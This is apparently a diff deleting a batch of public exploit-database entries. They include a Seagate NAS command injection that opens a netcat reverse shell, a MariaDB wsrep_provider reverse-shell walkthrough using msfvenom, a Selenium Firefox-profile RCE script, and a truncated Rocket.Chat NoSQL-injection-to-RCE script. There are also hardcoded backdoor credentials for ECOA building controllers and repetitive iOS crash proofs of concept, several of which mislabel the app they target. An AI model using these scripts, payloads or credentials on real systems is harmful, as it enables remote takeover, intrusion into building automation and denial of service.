# Discovered by: Jeroen - IT Nerdbox
|
|
||||||
# Exploit Author: Metin Yunus Kandemir
|
|
||||||
# Version: sg2000-2000.1331
|
|
||||||
# Vendor Homepage: https://www.seagate.com/
|
|
||||||
# Software Link: https://www.seagate.com/tr/tr/support/downloads/item/banas-220-firmware-master-dl/
|
|
||||||
|
|
||||||
#!/usr/bin/python3
|
|
||||||
|
|
||||||
import requests
|
|
||||||
import sys
|
|
||||||
|
|
||||||
def exec(target, ncIp, ncPort):
|
|
||||||
print("[!] Please check netcat listener: "+ ncPort)
|
|
||||||
url = "http://" + target + "/backupmgt/localJob.php?session=fail;nc+"+ncIp+"+"+ncPort+"+-e+/bin/sh%00"
|
|
||||||
r = requests.get(url = url)
|
|
||||||
sys.exit(1)
|
|
||||||
|
|
||||||
def main(args):
|
|
||||||
if len(args) != 4:
|
|
||||||
print("[*] usage: %s targetIp:port ncIp ncPort" % (args[0]))
|
|
||||||
print("[*] Example:python3 exploit.py 192.168.1.13 192.168.1.22 80")
|
|
||||||
sys.exit(1)
|
|
||||||
exec(target=args[1], ncIp=args[2], ncPort=args[3])
|
|
||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
|
||||||
main(args=sys.argv)
|
|
||||||
|
|
@ -1,114 +0,0 @@
|
||||||
# Exploit Title: ECOA Building Automation System - Hidden Backdoor Accounts and backdoor() Function
|
|
||||||
# Date: 25.06.2021
|
|
||||||
# Exploit Author: Neurogenesia
|
|
||||||
# Vendor Homepage: http://www.ecoa.com.tw
|
|
||||||
|
|
||||||
ECOA Building Automation System Hidden Backdoor Accounts and backdoor() Function
|
|
||||||
|
|
||||||
|
|
||||||
Vendor: ECOA Technologies Corp.
|
|
||||||
Product web page: http://www.ecoa.com.tw
|
|
||||||
Affected version: ECOA ECS Router Controller - ECS (FLASH)
|
|
||||||
ECOA RiskBuster Terminator - E6L45
|
|
||||||
ECOA RiskBuster System - RB 3.0.0
|
|
||||||
ECOA RiskBuster System - TRANE 1.0
|
|
||||||
ECOA Graphic Control Software
|
|
||||||
ECOA SmartHome II - E9246
|
|
||||||
ECOA RiskTerminator
|
|
||||||
|
|
||||||
Summary:
|
|
||||||
#1 The Risk-Terminator Web Graphic control BEMS (Building Energy Management System) are
|
|
||||||
designed to provide you with the latest in the Human Machine Interface (HMI) technology,
|
|
||||||
for completely monitoring and controlling management. It may be used singly for small and
|
|
||||||
medium sized facilities, could be linked together via the high-speed Ethernet to other
|
|
||||||
servers that suit to World Wide Web (WWW) or Local Area Network (LAN) for large and more
|
|
||||||
sophisticated applications. The Risk-Terminator practice Web basic conception that with
|
|
||||||
operation simply and conveniently, totally share risk and make sure of security. Even
|
|
||||||
remote sites may be controlled and monitored through Ethernet port, which base on standard
|
|
||||||
transferring protocol like XML, Modbus TCP/IP or BACnet or URL.
|
|
||||||
|
|
||||||
#2 The RiskBuster is a Web enabled network Router Server that uses Ethernet and TCP/IP
|
|
||||||
networking technologies. It incorporates an embedded web server that can deliver user-specific
|
|
||||||
web pages to any PC or mobile terminal running internet browser software. A user with an
|
|
||||||
appropriate security codes can made adjustment or monitor the network control unit form
|
|
||||||
any internet access point in the world. It also provides network management, integration
|
|
||||||
and process control functions for any existing or new building controllers and microprocessor
|
|
||||||
based equipments or system in buildings. The management function provided by the RiskBuster
|
|
||||||
such as trend log and alarm generation improves building controllers and microprocessor
|
|
||||||
based equipments or system management and audit trail capabilities. The integration function
|
|
||||||
provided by the RiskBuster allows seamless integration such as information sharing (read/write)
|
|
||||||
between building controllers and microprocessor based equipments or system without any need
|
|
||||||
of major upgrade or equipments replacement and allow cost saving. The process control functions
|
|
||||||
provided by the RiskBuster allow global control action to be implemented across any building
|
|
||||||
controllers and microprocessor based equipments or system to allow full building control. The
|
|
||||||
RiskBuster provide a truly cost effective solution for any building automation or high level
|
|
||||||
integration application. A truly Ethernet network compliant feature allows the RiskBuster to
|
|
||||||
be install anywhere in the building.
|
|
||||||
|
|
||||||
#3 ECM0000160 Digital Logic Controller (DLC) are Pre-programmed controller it intended for
|
|
||||||
Building Automate System; Environment control system; HVAC control system and other types of
|
|
||||||
equipment. Being fully programmable it ensures complete application versatility, allowing
|
|
||||||
specific products to be created according to customer requests. This controller is a configurable
|
|
||||||
unitary controller based on the 32bit series microcomputer, with an on-board clock, have two
|
|
||||||
RS-485 local bus.
|
|
||||||
|
|
||||||
#4 The ECS0000160 is a Router Controller for building and industry products based on various
|
|
||||||
microprocessors. It not only accessing information but also monitoring and controlling across
|
|
||||||
Internet directly. The ECS0000160 can totally replace and improve a typical system that always
|
|
||||||
has tedious panel and complex working process. An obviously benefit to our customers is that
|
|
||||||
ECS0000160 enabling them to interact with their systems anytime, anywhere, not only just allowed
|
|
||||||
to connect with singular specific operating system. It's like a whole package, which provides
|
|
||||||
browsers an easy platform to monitor and control the doors, alarms, devices, etc. that all
|
|
||||||
through web-pages operating, which works base on standard transmission Internet protocol. The
|
|
||||||
ECS0000160 provides a low industry cost. A truly friendly network interface which is simple
|
|
||||||
and easy to apply on factory floors. It supports from serial ports with options of RS485.
|
|
||||||
|
|
||||||
#5 HOME SERVER-EHC9246150 - This web basic home-server is with the specifications of hidden
|
|
||||||
installation, 32bits microcomputer and I/O Peripheral expansion circuit, which include: D/A
|
|
||||||
conversion circuit, A/D conversion circuit and optical isolation circuit, using default proportional,
|
|
||||||
integral and differential (P+I+D) and dead-zone control to control accurately. The controller
|
|
||||||
features contains the sensing system, proportional control systems, computing modules, control
|
|
||||||
modules, alarm detection system, and so on. It mainly used in building control, plant monitoring,
|
|
||||||
air monitoring, lighting and power control, the use of premises for buildings, factories, offices,
|
|
||||||
conference rooms, restaurants, hotels, etc.
|
|
||||||
|
|
||||||
Desc:
|
|
||||||
The BAS controller has hidden backdoors in several binaries that serve the web application. Any
|
|
||||||
unauthenticated attacker can download all the resources and binaries/services that serve the controller
|
|
||||||
and search for the 'backdoor()' function in httpser.elf as well as discover hidden credentials for
|
|
||||||
backdoor access with full functionality of the Smart Home, Access Control and Building Automation
|
|
||||||
System solutions.
|
|
||||||
|
|
||||||
Tested on: EMBED/1.0
|
|
||||||
Apache Tomcat/6.0.44
|
|
||||||
Apache Tomcat/6.0.18
|
|
||||||
Windows Server
|
|
||||||
MySQL Version 5.1.60
|
|
||||||
MySQL Version 4.0.16
|
|
||||||
Version 2.0.1.28 20180628
|
|
||||||
|
|
||||||
|
|
||||||
Vulnerability discovered by Neurogenesia
|
|
||||||
@zeroscience
|
|
||||||
|
|
||||||
|
|
||||||
Advisory ID: ZSL-2021-5674
|
|
||||||
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5674.php
|
|
||||||
|
|
||||||
|
|
||||||
25.06.2021
|
|
||||||
|
|
||||||
--
|
|
||||||
|
|
||||||
|
|
||||||
Backdoor Accounts / Authentication Bypass
|
|
||||||
-----------------------------------------
|
|
||||||
|
|
||||||
- Example of backdoors revealed in httpser.elf binary:
|
|
||||||
...
|
|
||||||
...
|
|
||||||
VAR2 = strstr(ARG1,"username=humexembed&password=simonamandoor");
|
|
||||||
if (VAR2 == (char *)0x0) {
|
|
||||||
VAR2 = strstr(ARG1,"username=amandoor&password=amandoor");
|
|
||||||
...
|
|
||||||
...
|
|
||||||
|
|
@ -1,23 +0,0 @@
|
||||||
# Exploit Title: WebSSH for iOS 14.16.10 - 'mashREPL' Denial of Service (PoC)
|
|
||||||
# Author: Luis Martinez
|
|
||||||
# Discovery Date: 2021-05-18
|
|
||||||
# Vendor Homepage: https://apps.apple.com/mx/app/webssh-ssh-client/id497714887
|
|
||||||
# Software Link: App Store for iOS devices
|
|
||||||
# Tested Version: 14.16.10
|
|
||||||
# Vulnerability Type: Denial of Service (DoS) Local
|
|
||||||
# Tested on OS: iPhone 7 iOS 14.5.1
|
|
||||||
|
|
||||||
# Steps to Produce the Crash:
|
|
||||||
# 1.- Run python code: WebSSH_for_iOS_14.16.10.py
|
|
||||||
# 2.- Copy content to clipboard
|
|
||||||
# 3.- Open "WebSSH for iOS"
|
|
||||||
# 4.- Click -> Tools
|
|
||||||
# 5.- Click -> mashREPL
|
|
||||||
# 6.- Paste ClipBoard on "mashREPL>"
|
|
||||||
# 7.- Intro
|
|
||||||
# 8.- Crashed
|
|
||||||
|
|
||||||
#!/usr/bin/env python
|
|
||||||
|
|
||||||
buffer = "\x41" * 300
|
|
||||||
print (buffer)
|
|
||||||
|
|
@ -1,35 +0,0 @@
|
||||||
# Exploit Title: Color Notes 1.4 - Denial of Service (PoC)
|
|
||||||
# Date: 06-04-2021
|
|
||||||
# Author: Geovanni Ruiz
|
|
||||||
# Download Link: https://apps.apple.com/gt/app/color-notes/id830515136
|
|
||||||
# Version: 1.4
|
|
||||||
# Category: DoS (iOS)
|
|
||||||
|
|
||||||
##### Vulnerability #####
|
|
||||||
|
|
||||||
Color Notes is vulnerable to a DoS condition when a long list of characters is being used when creating a note:
|
|
||||||
|
|
||||||
# STEPS #
|
|
||||||
# Open the program.
|
|
||||||
# Create a new Note.
|
|
||||||
# Run the python exploit script payload.py, it will create a new payload.txt file
|
|
||||||
# Copy the content of the file "payload.txt"
|
|
||||||
# Paste the content from payload.txt twice in the new Note.
|
|
||||||
# Crashed
|
|
||||||
|
|
||||||
Successful exploitation will cause the application to stop working.
|
|
||||||
|
|
||||||
I have been able to test this exploit against iOS 14.2.
|
|
||||||
|
|
||||||
##### PoC #####
|
|
||||||
--> payload.py <--
|
|
||||||
#!/usr/bin/env python
|
|
||||||
buffer = "\x41" * 350000
|
|
||||||
|
|
||||||
try:
|
|
||||||
f = open("payload.txt","w")
|
|
||||||
f.write(buffer)
|
|
||||||
f.close()
|
|
||||||
print ("File created")
|
|
||||||
except:
|
|
||||||
print ("File cannot be created")
|
|
||||||
|
|
@ -1,35 +0,0 @@
|
||||||
# Exploit Title: Macaron Notes great notebook 5.5 - Denial of Service (PoC)
|
|
||||||
# Date: 06-04-2021
|
|
||||||
# Author: Geovanni Ruiz
|
|
||||||
# Download Link: https://apps.apple.com/us/app/macaron-notes-great-notebook/id1079862221
|
|
||||||
# Version: 5.5
|
|
||||||
# Category: DoS (iOS)
|
|
||||||
|
|
||||||
##### Vulnerability #####
|
|
||||||
|
|
||||||
Color Notes is vulnerable to a DoS condition when a long list of characters is being used when creating a note:
|
|
||||||
|
|
||||||
# STEPS #
|
|
||||||
# Open the program.
|
|
||||||
# Create a new Note.
|
|
||||||
# Run the python exploit script payload.py, it will create a new payload.txt file
|
|
||||||
# Copy the content of the file "payload.txt"
|
|
||||||
# Paste the content from payload.txt twice in the new Note.
|
|
||||||
# Crashed
|
|
||||||
|
|
||||||
Successful exploitation will cause the application to stop working.
|
|
||||||
|
|
||||||
I have been able to test this exploit against iOS 14.2.
|
|
||||||
|
|
||||||
##### PoC #####
|
|
||||||
--> payload.py <--
|
|
||||||
#!/usr/bin/env python
|
|
||||||
buffer = "\x41" * 350000
|
|
||||||
|
|
||||||
try:
|
|
||||||
f = open("payload.txt","w")
|
|
||||||
f.write(buffer)
|
|
||||||
f.close()
|
|
||||||
print ("File created")
|
|
||||||
except:
|
|
||||||
print ("File cannot be created")
|
|
||||||
|
|
@ -1,35 +0,0 @@
|
||||||
# Exploit Title: My Notes Safe 5.3 - Denial of Service (PoC)
|
|
||||||
# Date: 06-04-2021
|
|
||||||
# Author: Geovanni Ruiz
|
|
||||||
# Download Link: https://apps.apple.com/us/app/my-notes-safe/id689971781
|
|
||||||
# Version: 5.3
|
|
||||||
# Category: DoS (iOS)
|
|
||||||
|
|
||||||
##### Vulnerability #####
|
|
||||||
|
|
||||||
Color Notes is vulnerable to a DoS condition when a long list of characters is being used when creating a note:
|
|
||||||
|
|
||||||
# STEPS #
|
|
||||||
# Open the program.
|
|
||||||
# Create a new Note.
|
|
||||||
# Run the python exploit script payload.py, it will create a new payload.txt file
|
|
||||||
# Copy the content of the file "payload.txt"
|
|
||||||
# Paste the content from payload.txt twice in the new Note.
|
|
||||||
# Crashed
|
|
||||||
|
|
||||||
Successful exploitation will cause the application to stop working.
|
|
||||||
|
|
||||||
I have been able to test this exploit against iOS 14.2.
|
|
||||||
|
|
||||||
##### PoC #####
|
|
||||||
--> payload.py <--
|
|
||||||
#!/usr/bin/env python
|
|
||||||
buffer = "\x41" * 350000
|
|
||||||
|
|
||||||
try:
|
|
||||||
f = open("payload.txt","w")
|
|
||||||
f.write(buffer)
|
|
||||||
f.close()
|
|
||||||
print ("File created")
|
|
||||||
except:
|
|
||||||
print ("File cannot be created")
|
|
||||||
|
|
@ -1,35 +0,0 @@
|
||||||
# Exploit Title: Sticky Notes & Color Widgets 1.4.2 - Denial of Service (PoC)
|
|
||||||
# Date: 06-04-2021
|
|
||||||
# Author: Geovanni Ruiz
|
|
||||||
# Download Link: https://apps.apple.com/us/app/sticky-notes-color-widgets/id1476063010
|
|
||||||
# Version: 1.4.2
|
|
||||||
# Category: DoS (iOS)
|
|
||||||
|
|
||||||
##### Vulnerability #####
|
|
||||||
|
|
||||||
Color Notes is vulnerable to a DoS condition when a long list of characters is being used when creating a note:
|
|
||||||
|
|
||||||
# STEPS #
|
|
||||||
# Open the program.
|
|
||||||
# Create a new Note.
|
|
||||||
# Run the python exploit script payload.py, it will create a new payload.txt file
|
|
||||||
# Copy the content of the file "payload.txt"
|
|
||||||
# Paste the content from payload.txt twice in the new Note.
|
|
||||||
# Crashed
|
|
||||||
|
|
||||||
Successful exploitation will cause the application to stop working.
|
|
||||||
|
|
||||||
I have been able to test this exploit against iOS 14.2.
|
|
||||||
|
|
||||||
##### PoC #####
|
|
||||||
--> payload.py <--
|
|
||||||
#!/usr/bin/env python
|
|
||||||
buffer = "\x41" * 350000
|
|
||||||
|
|
||||||
try:
|
|
||||||
f = open("payload.txt","w")
|
|
||||||
f.write(buffer)
|
|
||||||
f.close()
|
|
||||||
print ("File created")
|
|
||||||
except:
|
|
||||||
print ("File cannot be created")
|
|
||||||
|
|
@ -1,35 +0,0 @@
|
||||||
# Exploit Title: Sticky Notes Widget Version 3.0.6 - Denial of Service (PoC)
|
|
||||||
# Date: 06-07-2021
|
|
||||||
# Author: Geovanni Ruiz
|
|
||||||
# Download Link: https://apps.apple.com/us/app/sticky-notes-widget/id1499269608
|
|
||||||
# Version: 3.0.6
|
|
||||||
# Category: DoS (iOS)
|
|
||||||
|
|
||||||
##### Vulnerability #####
|
|
||||||
|
|
||||||
Color Notes is vulnerable to a DoS condition when a long list of characters is being used when creating a note:
|
|
||||||
|
|
||||||
# STEPS #
|
|
||||||
# Open the program.
|
|
||||||
# Create a new Note.
|
|
||||||
# Run the python exploit script payload.py, it will create a new payload.txt file
|
|
||||||
# Copy the content of the file "payload.txt"
|
|
||||||
# Paste the content from payload.txt twice in the new Note.
|
|
||||||
# Crashed
|
|
||||||
|
|
||||||
Successful exploitation will cause the application to stop working.
|
|
||||||
|
|
||||||
I have been able to test this exploit against iOS 14.2.
|
|
||||||
|
|
||||||
##### PoC #####
|
|
||||||
--> payload.py <--
|
|
||||||
#!/usr/bin/env python
|
|
||||||
buffer = "\x41" * 350000
|
|
||||||
|
|
||||||
try:
|
|
||||||
f = open("payload.txt","w")
|
|
||||||
f.write(buffer)
|
|
||||||
f.close()
|
|
||||||
print ("File created")
|
|
||||||
except:
|
|
||||||
print ("File cannot be created")
|
|
||||||
|
|
@ -1,35 +0,0 @@
|
||||||
# Exploit Title: n+otes 1.6.2 - Denial of Service (PoC)
|
|
||||||
# Date: 06-09-2021
|
|
||||||
# Author: Geovanni Ruiz
|
|
||||||
# Download Link: https://apps.apple.com/us/app/n-otes/id596895960
|
|
||||||
# Version: 1.6.2
|
|
||||||
# Category: DoS (iOS)
|
|
||||||
|
|
||||||
##### Vulnerability #####
|
|
||||||
|
|
||||||
Color Notes is vulnerable to a DoS condition when a long list of characters is being used when creating a note:
|
|
||||||
|
|
||||||
# STEPS #
|
|
||||||
# Open the program.
|
|
||||||
# Create a new Note.
|
|
||||||
# Run the python exploit script payload.py, it will create a new payload.txt file
|
|
||||||
# Copy the content of the file "payload.txt"
|
|
||||||
# Paste the content from payload.txt twice in the new Note.
|
|
||||||
# Crashed
|
|
||||||
|
|
||||||
Successful exploitation will cause the application to stop working.
|
|
||||||
|
|
||||||
I have been able to test this exploit against iOS 14.2.
|
|
||||||
|
|
||||||
##### PoC #####
|
|
||||||
--> payload.py <--
|
|
||||||
#!/usr/bin/env python
|
|
||||||
buffer = "\x41" * 350000
|
|
||||||
|
|
||||||
try:
|
|
||||||
f = open("payload.txt","w")
|
|
||||||
f.write(buffer)
|
|
||||||
f.close()
|
|
||||||
print ("File created")
|
|
||||||
except:
|
|
||||||
print ("File cannot be created")
|
|
||||||
|
|
@ -1,35 +0,0 @@
|
||||||
# Exploit Title: Secure Notepad Private Notes 3.0.3 - Denial of Service (PoC)
|
|
||||||
# Date: 06-14-2021
|
|
||||||
# Author: Geovanni Ruiz
|
|
||||||
# Download Link: https://apps.apple.com/us/app/secure-notepad-private-notes/id711178888
|
|
||||||
# Version: 3.0.3
|
|
||||||
# Category: DoS (iOS)
|
|
||||||
|
|
||||||
##### Vulnerability #####
|
|
||||||
|
|
||||||
Secure Notepad - Private Notes is vulnerable to a DoS condition when a long list of characters is being used when creating a note:
|
|
||||||
|
|
||||||
# STEPS #
|
|
||||||
# Open the program.
|
|
||||||
# Create a new Note.
|
|
||||||
# Run the python exploit script payload.py, it will create a new payload.txt file
|
|
||||||
# Copy the content of the file "payload.txt"
|
|
||||||
# Paste the content from payload.txt twice in the new Note.
|
|
||||||
# Crashed
|
|
||||||
|
|
||||||
Successful exploitation will cause the application to stop working.
|
|
||||||
|
|
||||||
I have been able to test this exploit against iOS 14.2.
|
|
||||||
|
|
||||||
##### PoC #####
|
|
||||||
--> payload.py <--
|
|
||||||
#!/usr/bin/env python
|
|
||||||
buffer = "\x41" * 350000
|
|
||||||
|
|
||||||
try:
|
|
||||||
f = open("payload.txt","w")
|
|
||||||
f.write(buffer)
|
|
||||||
f.close()
|
|
||||||
print ("File created")
|
|
||||||
except:
|
|
||||||
print ("File cannot be created")
|
|
||||||
|
|
@ -1,37 +0,0 @@
|
||||||
# Exploit Title: Post-it 5.0.1 - Denial of Service (PoC)
|
|
||||||
# Date: 06-14-2021
|
|
||||||
# Author: Geovanni Ruiz
|
|
||||||
# Download Link: https://apps.apple.com/es/app/post-it/id920127738
|
|
||||||
# Version: 5.0.1
|
|
||||||
# Category: DoS (iOS)
|
|
||||||
|
|
||||||
##### Vulnerability #####
|
|
||||||
|
|
||||||
Post-it is vulnerable to a DoS condition when a long list of characters is
|
|
||||||
being used when creating a note:
|
|
||||||
|
|
||||||
# STEPS #
|
|
||||||
# Open the program.
|
|
||||||
# Create a new Note.
|
|
||||||
# Run the python exploit script payload.py, it will create a new
|
|
||||||
payload.txt file
|
|
||||||
# Copy the content of the file "payload.txt"
|
|
||||||
# Paste the content from payload.txt twice in the new Note.
|
|
||||||
# Crashed
|
|
||||||
|
|
||||||
Successful exploitation will cause the application to stop working.
|
|
||||||
|
|
||||||
I have been able to test this exploit against iOS 14.2.
|
|
||||||
|
|
||||||
##### PoC #####
|
|
||||||
--> payload.py <--
|
|
||||||
#!/usr/bin/env python
|
|
||||||
buffer = "\x41" * 350000
|
|
||||||
|
|
||||||
try:
|
|
||||||
f = open("payload.txt","w")
|
|
||||||
f.write(buffer)
|
|
||||||
f.close()
|
|
||||||
print ("File created")
|
|
||||||
except:
|
|
||||||
print ("File cannot be created")
|
|
||||||
|
|
@ -1,36 +0,0 @@
|
||||||
# Exploit Title: Notex the best notes 6.4 - Denial of Service (PoC)
|
|
||||||
# Date: 06-14-2021
|
|
||||||
# Author: Geovanni Ruiz
|
|
||||||
# Download Link: https://apps.apple.com/us/app/notex-the-best-notes/id847994217
|
|
||||||
# Version: 6.4
|
|
||||||
# Category: DoS (iOS)
|
|
||||||
|
|
||||||
##### Vulnerability #####
|
|
||||||
|
|
||||||
Notex – the best notes is vulnerable to a DoS condition when a long list of
|
|
||||||
characters is being used when creating a note:
|
|
||||||
|
|
||||||
# STEPS #
|
|
||||||
# Open the program.
|
|
||||||
# Create a new Note.
|
|
||||||
# Run the python exploit script payload.py, it will create a new payload.txt file
|
|
||||||
# Copy the content of the file "payload.txt"
|
|
||||||
# Paste the content from payload.txt twice in the new Note.
|
|
||||||
# Crashed
|
|
||||||
|
|
||||||
Successful exploitation will cause the application to stop working.
|
|
||||||
|
|
||||||
I have been able to test this exploit against iOS 14.2.
|
|
||||||
|
|
||||||
##### PoC #####
|
|
||||||
--> payload.py <--
|
|
||||||
#!/usr/bin/env python
|
|
||||||
buffer = "\x41" * 350000
|
|
||||||
|
|
||||||
try:
|
|
||||||
f = open("payload.txt","w")
|
|
||||||
f.write(buffer)
|
|
||||||
f.close()
|
|
||||||
print ("File created")
|
|
||||||
except:
|
|
||||||
print ("File cannot be created")
|
|
||||||
|
|
@ -1,35 +0,0 @@
|
||||||
# Exploit Title: memono Notepad Version 4.2 - Denial of Service (PoC)
|
|
||||||
# Date: 06-09-2021
|
|
||||||
# Author: Geovanni Ruiz
|
|
||||||
# Download Link: https://apps.apple.com/es/app/memono-bloc-de-notas/id906470619
|
|
||||||
# Version: 4.2
|
|
||||||
# Category: DoS (iOS)
|
|
||||||
|
|
||||||
##### Vulnerability #####
|
|
||||||
|
|
||||||
Color Notes is vulnerable to a DoS condition when a long list of characters is being used when creating a note:
|
|
||||||
|
|
||||||
# STEPS #
|
|
||||||
# Open the program.
|
|
||||||
# Create a new Note.
|
|
||||||
# Run the python exploit script payload.py, it will create a new payload.txt file
|
|
||||||
# Copy the content of the file "payload.txt"
|
|
||||||
# Paste the content from payload.txt twice in the new Note.
|
|
||||||
# Crashed
|
|
||||||
|
|
||||||
Successful exploitation will cause the application to stop working.
|
|
||||||
|
|
||||||
I have been able to test this exploit against iOS 14.2.
|
|
||||||
|
|
||||||
##### PoC #####
|
|
||||||
--> payload.py <--
|
|
||||||
#!/usr/bin/env python
|
|
||||||
buffer = "\x41" * 350000
|
|
||||||
|
|
||||||
try:
|
|
||||||
f = open("payload.txt","w")
|
|
||||||
f.write(buffer)
|
|
||||||
f.close()
|
|
||||||
print ("File created")
|
|
||||||
except:
|
|
||||||
print ("File cannot be created")
|
|
||||||
File diff suppressed because one or more lines are too long
|
|
@ -1,20 +0,0 @@
|
||||||
# Exploit Title: MariaDB 10.2 /MySQL - 'wsrep_provider' OS Command Execution
|
|
||||||
# Date: 03/18/2021
|
|
||||||
# Exploit Author: Central InfoSec
|
|
||||||
# Version: MariaDB 10.2 before 10.2.37, 10.3 before 10.3.28, 10.4 before 10.4.18, and 10.5 before 10.5.9; Percona Server through 2021-03-03; and the wsrep patch through 2021-03-03 for MySQL
|
|
||||||
# Tested on: Linux
|
|
||||||
# CVE : CVE-2021-27928
|
|
||||||
|
|
||||||
# Proof of Concept:
|
|
||||||
|
|
||||||
# Create the reverse shell payload
|
|
||||||
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f elf-so -o CVE-2021-27928.so
|
|
||||||
|
|
||||||
# Start a listener
|
|
||||||
nc -lvp <port>
|
|
||||||
|
|
||||||
# Copy the payload to the target machine (In this example, SCP/SSH is used)
|
|
||||||
scp CVE-2021-27928.so <user>@<ip>:/tmp/CVE-2021-27928.so
|
|
||||||
|
|
||||||
# Execute the payload
|
|
||||||
mysql -u <user> -p -h <ip> -e 'SET GLOBAL wsrep_provider="/tmp/CVE-2021-27928.so";'
|
|
||||||
|
|
@ -1,79 +0,0 @@
|
||||||
# Exploit Title: Selenium 3.141.59 - Remote Code Execution (Firefox/geckodriver)
|
|
||||||
# Date: 2021-05-27
|
|
||||||
# Exploit Author: Jon Stratton
|
|
||||||
# Vendor Homepage: https://www.selenium.dev/
|
|
||||||
# Software Link: https://selenium-release.storage.googleapis.com/3.141/selenium-server-standalone-3.141.59.jar
|
|
||||||
# Version: 3.141.59
|
|
||||||
# Tested on: Selenium Server 3.141.59, webdriver, geckodriver
|
|
||||||
#
|
|
||||||
# https://github.com/JonStratton/selenium-node-takeover-kit/blob/master/examples/selenium_node_rce.rb
|
|
||||||
#
|
|
||||||
# When Selenium runs, it creates a custom profile (in /tmp/ for Linux) on the Node. This profile then gets overwritten by a possible overlay that is sent in a base64 encoded zip file when a Selenium session is started.
|
|
||||||
#
|
|
||||||
# One of the config file can be used to set a custom handler (which do things like, for instance, associates “mailto:blah@blah.com” to your email client). In this example, a new handler is created for “application/sh” that will execute the argument with “/bin/sh”
|
|
||||||
#
|
|
||||||
# Side notes, this profile doesn't safely unzip. So this can be used to write files to the file-system.
|
|
||||||
#
|
|
||||||
# The Payload is encoded and embedded as inline data associated with the "application/sh" mime type.
|
|
||||||
|
|
||||||
#!/usr/bin/env ruby
|
|
||||||
|
|
||||||
require 'optparse'
|
|
||||||
require 'net/http'
|
|
||||||
require 'json'
|
|
||||||
require 'uri'
|
|
||||||
require 'zip'
|
|
||||||
require 'base64'
|
|
||||||
|
|
||||||
options = {}
|
|
||||||
OptionParser.new do |opts|
|
|
||||||
opts.banner = 'Usage: example.rb [options]'
|
|
||||||
opts.on('-hURL', '--hubURL', 'Selenium Hub URL') do |h|
|
|
||||||
options[:hub] = h
|
|
||||||
end
|
|
||||||
opts.on('--help', 'Prints this help') do
|
|
||||||
puts opts
|
|
||||||
exit
|
|
||||||
end
|
|
||||||
end.parse!
|
|
||||||
|
|
||||||
hub_url = options[:hub]
|
|
||||||
|
|
||||||
payload = 'rm -rf $0
|
|
||||||
echo success > /tmp/selenium_node_rce.txt'
|
|
||||||
|
|
||||||
# Build profile zip file.
|
|
||||||
stringio = Zip::OutputStream::write_buffer do |io|
|
|
||||||
# Create a handler for shell scripts
|
|
||||||
io.put_next_entry("handlers.json")
|
|
||||||
io.write('{"defaultHandlersVersion":{"en-US":4},"mimeTypes":{"application/sh":{"action":2,"handlers":[{"name":"sh","path":"/bin/sh"}]}}}')
|
|
||||||
end
|
|
||||||
stringio.rewind
|
|
||||||
encoded_profile = Base64.strict_encode64(stringio.sysread)
|
|
||||||
|
|
||||||
# Create session with our new profile
|
|
||||||
newSession = {:desiredCapabilities => {:browserName => "firefox", :firefox_profile => encoded_profile}}
|
|
||||||
|
|
||||||
uri = URI.parse(hub_url)
|
|
||||||
http = Net::HTTP.new(uri.host, uri.port)
|
|
||||||
|
|
||||||
# Start session with encoded_profile and save session id for cleanup.
|
|
||||||
uri = URI.parse("%s/session" % [hub_url])
|
|
||||||
request = Net::HTTP::Post.new(uri.request_uri, 'Content-Type' => 'application/json')
|
|
||||||
request.body = JSON.generate(newSession)
|
|
||||||
response = http.request(request)
|
|
||||||
sessionId = JSON.parse(response.body)["value"]["sessionId"]
|
|
||||||
|
|
||||||
# URL.
|
|
||||||
data_url = "data:application/sh;charset=utf-16le;base64,%s" % [Base64.encode64(payload)]
|
|
||||||
uri = URI.parse("%s/session/%s/url" % [hub_url, sessionId])
|
|
||||||
request = Net::HTTP::Post.new(uri.request_uri, 'Content-Type' => 'application/json')
|
|
||||||
request.body = JSON.generate(:url => data_url)
|
|
||||||
response = http.request(request)
|
|
||||||
|
|
||||||
# End session(not working)
|
|
||||||
uri = URI.parse("%s/session/%s" % [hub_url, sessionId])
|
|
||||||
request = Net::HTTP::Delete.new(uri.request_uri)
|
|
||||||
http.request(request)
|
|
||||||
|
|
||||||
exit
|
|
||||||
|
|
@ -1,172 +0,0 @@
|
||||||
# Title: Rocket.Chat 3.12.1 - NoSQL Injection to RCE (Unauthenticated)
|
|
||||||
# Author: enox
|
|
||||||
# Date: 06-06-2021
|
|
||||||
# Product: Rocket.Chat
|
|
||||||
# Vendor: https://rocket.chat/
|
|
||||||
# Vulnerable Version(s): Rocket.Chat 3.12.1
|
|
||||||
# CVE: CVE-2021-22911
|
|
||||||
# Credits: https://blog.sonarsource.com/nosql-injections-in-rocket-chat
|
|
||||||
|
|
||||||
#!/usr/bin/python
|
|
||||||
|
|
||||||
import requests
|
|
||||||
import string
|
|
||||||
import time
|
|
||||||
import hashlib
|
|
||||||
import json
|
|
||||||
import oathtool
|
|
||||||
import argparse
|
|
||||||
|
|
||||||
parser = argparse.ArgumentParser(description='RocketChat 3.12.1 RCE')
|
|
||||||
parser.add_argument('-u', help='Low priv user email [ No 2fa ]', required=True)
|
|
||||||
parser.add_argument('-a', help='Administrator email', required=True)
|
|
||||||
parser.add_argument('-t', help='URL (Eg: http://rocketchat.local)', required=True)
|
|
||||||
args = parser.parse_args()
|
|
||||||
|
|
||||||
|
|
||||||
adminmail = args.a
|
|
||||||
lowprivmail = args.u
|
|
||||||
target = args.t
|
|
||||||
|
|
||||||
|
|
||||||
def forgotpassword(email,url):
|
|
||||||
payload='{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"sendForgotPasswordEmail\\",\\"params\\":[\\"'+email+'\\"]}"}'
|
|
||||||
headers={'content-type': 'application/json'}
|
|
||||||
r = requests.post(url+"/api/v1/method.callAnon/sendForgotPasswordEmail", data = payload, headers = headers, verify = False, allow_redirects = False)
|
|
||||||
print("[+] Password Reset Email Sent")
|
|
||||||
|
|
||||||
|
|
||||||
def resettoken(url):
|
|
||||||
u = url+"/api/v1/method.callAnon/getPasswordPolicy"
|
|
||||||
headers={'content-type': 'application/json'}
|
|
||||||
token = ""
|
|
||||||
|
|
||||||
num = list(range(0,10))
|
|
||||||
string_ints = [str(int) for int in num]
|
|
||||||
characters = list(string.ascii_uppercase + string.ascii_lowercase) + list('-')+list('_') + string_ints
|
|
||||||
|
|
||||||
while len(token)!= 43:
|
|
||||||
for c in characters:
|
|
||||||
